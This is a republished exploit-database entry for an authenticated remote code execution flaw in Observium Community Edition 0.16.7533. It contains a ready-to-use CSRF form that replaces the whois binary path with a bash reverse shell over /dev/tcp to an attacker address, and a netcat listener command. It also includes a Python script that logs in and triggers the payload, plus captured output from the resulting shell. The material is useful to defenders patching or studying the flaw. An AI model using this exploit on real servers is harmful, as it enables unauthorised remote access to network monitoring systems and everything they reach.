Observium 0.16.7533 – (Authenticated) Arbitrary Command Execution - 体验盒子

作者： Dolev Farhi
日期： 2016-04-29
类别：
webapps
平台：
php
来源：https://www.exploit-db.com/exploits/39745/
# Exploit title: Observium Commercial - Authenticated RCE
# Author: Dolev Farhi
# Contact: dolevf at protonmail.com
# Date: 28-04-2016
# Vendor homepage: http://observium.org/
# Software version: CE 0.16.7533

Authenticated remote code execution
Using either CSRF or by editing the whois binary field in the Observium webui under Settings-> System Path, an attacker may also change the Path to either [whois, mtr, nmap] to any bash command, and by hitting the url: http://<ObserviumIP>/netcmd.php?cmd=whois&query=8.8.8.8
using any user on Observium (even low privileged) we can trigger a code execution. for example. setting up a listener

root@pt:~# nc -lvp 4444
listening on [any] 4444 ...

and a CSRF which looks like this:

<!-- 
<html>
<div align="center">
<pre>
 
<h2><b>CSRF<b></h2>
<body>
<form
action="http://<observiumIP>/settings/section=paths/"
method="POST">
<input type="hidden" name="temp_dir" value="" />
<input type="hidden" name="varset_temp_dir" value="" />
<input type="hidden" name="varset_rrdtool" value="" />
<input type="hidden" name="fping" value="" />
<input type="hidden" name="varset_fping" value="" />
<input type="hidden" name="fping6" value="" />
<input type="hidden" name="varset_fping6" value="" />
<input type="hidden" name="svn" value="" />
<input type="hidden" name="varset_svn" value="" />
<input type="hidden" name="snmpget" value="" />
<input type="hidden" name="varset_snmpget" value="" />
<input type="hidden" name="snmpwalk" value="" />
<input type="hidden" name="varset_snmpwalk" value="" />
<input type="hidden" name="snmpbulkget" value="" />
<input type="hidden" name="varset_snmpbulkget" value="" />
<input type="hidden" name="snmpbulkwalk" value="" />
<input type="hidden" name="varset_snmpbulkwalk" value="" />
<input type="hidden" name="snmptranslate" value="" />
<input type="hidden" name="varset_snmptranslate" value="" />
<input type="hidden" name="ipmitool" value="" />
<input type="hidden" name="varset_ipmitool" value="" />
<input type="hidden" name="virsh" value="" />
<input type="hidden" name="varset_virsh" value="" />
<input type="hidden" name="wmic" value="" />
<input type="hidden" name="varset_wmic" value="" />
<input type="hidden" name="git" value="" />
<input type="hidden" name="varset_git" value="" />
<input type="hidden" name="whois" value="bash -i >& /dev/tcp/192.168.2.222/4444 0>&1; exit" />
<input type="hidden" name="varset_whois" value="" />
<input type="hidden" name="whois_custom" value="1" />
<input type="hidden" name="file" value="" />
<input type="hidden" name="varset_file" value="" />
<input type="hidden" name="dot" value="" />
<input type="hidden" name="varset_dot" value="" />
<input type="submit" name="submit" value="save" />
</form>
</body>
</div>
</html>

or by changing the field of Path to 'whois' binary to 'bash -i >& /dev/tcp/attackerip/4444 0>&1; exit'and then visiting http://observium-server/netcmd.php?cmd=whois&query=8.8.8.8, we trigger the code that is defined in the 
whois parameter which gives us a reverse shell on the machine:

you may also use the following python instead:

"""
import sys
import urllib
import urllib2
import cookielib

#!/usr/bin/python 
username = 'test'
password = '123456'
timeout = 10

try:
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
login_data = urllib.urlencode({'username' : username, 'password' : password, 'submit' : ''})
opener.open('http://observium-server', login_data, timeout=timeout)
url = 'http://observium-server/netcmd.php?cmd=whois&query=8.8.8.8'
resp = opener.open(url)

except Exception, e:
print e
sys.exit(1)
"""

listening on [any] 4444 ...
192.168.2.155: inverse host lookup failed: Unknown host
connect to [192.168.2.222] from (UNKNOWN) [192.168.2.155] 52413
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
bash-4.1$ ls -l /opt
ls -l /opt
total 48944
drwxrwxr-x12 1000 1000 4096 Apr 27 13:47 observium
-rw-r--r-- 1 root root 50107191 Jan 27 07:35 observium-community-latest.tar.gz
drwxr-xr-x.2 root root 4096 Mar 262015 rh